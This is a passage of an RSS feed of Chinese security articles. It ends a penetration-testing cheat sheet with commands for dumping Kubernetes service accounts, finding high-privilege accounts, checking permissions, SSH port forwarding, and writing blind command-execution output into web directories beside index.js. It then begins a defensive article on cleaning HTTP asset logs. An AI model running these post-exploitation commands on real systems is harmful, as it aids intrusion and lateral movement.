!important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">o yaml </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> serviceaccounts</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">yaml</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">kubectl cluster</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">info </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">dump</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> cluster</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">info</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">log</span></p></span></span></p></li></ol></pre><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">查找高权限sa</h3><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">kubectl </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">get</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> pods </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">A </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">o jsonpath</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;{range .items[*]}{.metadata.name}{&#34;\t&#34;}{.spec.serviceAccountName}{&#34;\t&#34;}{.spec.nodeName}{&#34;\n&#34;}{end}&#39;</span></p></span></span></p></li></ol></pre><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">kubectl安装</h3><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">curl </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">LO </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;<a href="https://dl.k8s.io/release/$(curl" target="_blank">https://dl.k8s.io/release/$(curl</a> -L -s <a href="https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" target="_blank">https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl</a>&#34;</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">chmod </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">x </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">./</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">kubectl</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">mv </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">./</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">kubectl </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">usr</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">local</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">bin</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">k</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">k auth can</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">i </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">--</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">list</span></p></span></span></p></li></ol></pre><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">最近创建的pod</h3><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">kubectl </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">get</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> pods </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">A </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">--</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">sort</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">by</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">metadata</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">creationTimestamp</span></p></span></span></p></li></ol></pre><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">命令执行不出网</h3><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Windows</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">for</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">f </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">%</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">i </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">in</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;dir /s /b e:index.js&#39;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">do</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">echo </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">%</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">i</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">%</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">i</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">test</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">txt</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)%</span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">26</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ipconfig </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">%</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">i</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ipconfig</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">txt</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">linux</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">find / -name index.js|while read f;do sh -c &#39;id;pwd;ifconfig&#39; &gt;$(dirname $f)/test.txt;done</span></p></span></span></p></li></ol></pre><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">ssh端口转发</h3><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ssh </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">L </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">本地端口:目标主机:目标端口</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> uesr@host </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">N</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ssh </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">L </span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">5432</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">192.168</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">60.110</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">5432</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> sysadm@192</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">168.60</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">110</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">p </span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">2222</span></p></span></span></p></li></ol></pre><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484367">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a62313f2&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5ODE3NTU1OQ%3D%3D%26mid%3D2247484367%26idx%3D1%26sn%3D170df37e51e6619b3d25e4fc5b598337">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 22 Jun 2024 15:26:00 +0800</pubDate>
    </item>
    <item>
      <title>甲方安全建设系列之 HTTP 资产清洗</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247484362&amp;idx=1&amp;sn=f903fdd29cbbe10e60474da2bc707305</link>
      <description>这里的讨论的资产特指在黑盒视角下被动采集到的数据，比如来自waf、网关、被动代理等http请求日志所对应的资产，并不是主动扫描所发现的domain/ip + port + urlpath这种资产，清洗的结果也主要用于被动扫描，而非主动扫描。</description>
      <content:encoded><![CDATA[<p>
原创 <span>duckbubi</span> <span>2024-05-27 23:25</span> <span style="display: inline-block;">北京</span>
</p>

<p>这里的讨论的资产特指在黑盒视角下被动采集到的数据，比如来自waf、网关、被动代理等http请求日志所对应的资产，并不是主动扫描所发现的domain/ip + port + urlpath这种资产，清洗的结果也主要用于被动扫描，而非主动扫描。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ec31d9d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWjSFacGvR6ekj7fq97XgJAzvlCPWDXibcSWElpRY9MXrwibpFsV2XaibRAZyKeY7zPNSIGL0PWZKEXNw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div style="font-size: 16px;"><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><div style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(194, 209, 255);align-self: center;"><div style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;"><p style="text-wrap: wrap;"><strong>01</strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><div style="font-size: 17px;color: rgb(100, 100, 100);"><p style="text-wrap: wrap;"><strong>写在前面</strong></p></div></div></div><div style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;"><p style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(216, 226, 255) rgb(255, 255, 255) rgb(255, 255, 255) rgb(216, 226, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><p style="text-wrap: wrap;"><span style="font-size: 15px;">这里的讨论的资产特指在黑盒视角下被动采集到的数据，比如来自waf、网关、被动代理等http请求日志所对应的资产，并不是主动扫描所发现的domain/ip + port + urlpath这种资产，清洗的结果也主要用于被动扫描，而非主动扫描。</span></p><div style="line-height: 0;"><p style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100000708" data-ratio="0.562037037037037" data-s="300,640" style="vertical-align: middle;width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=84aac53d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjSFacGvR6ekj7fq97XgJAzmS3qXOia2G9Of0yIURd9YQEtrDArqvdQjBIuKQuV3MTIaWJnKWp4MfA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div><p style="text-wrap: wrap;"><span style="font-size: 15px;">21年的时候在博客简单分享过粗略的思路，本文是对前文的补充。</span></p></div><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><div style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(194, 209, 255);align-self: center;"><div style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;"><p style="text-wrap: wrap;"><strong>02</strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><div style="font-size: 17px;color: rgb(100, 100, 100);"><p style="text-wrap: 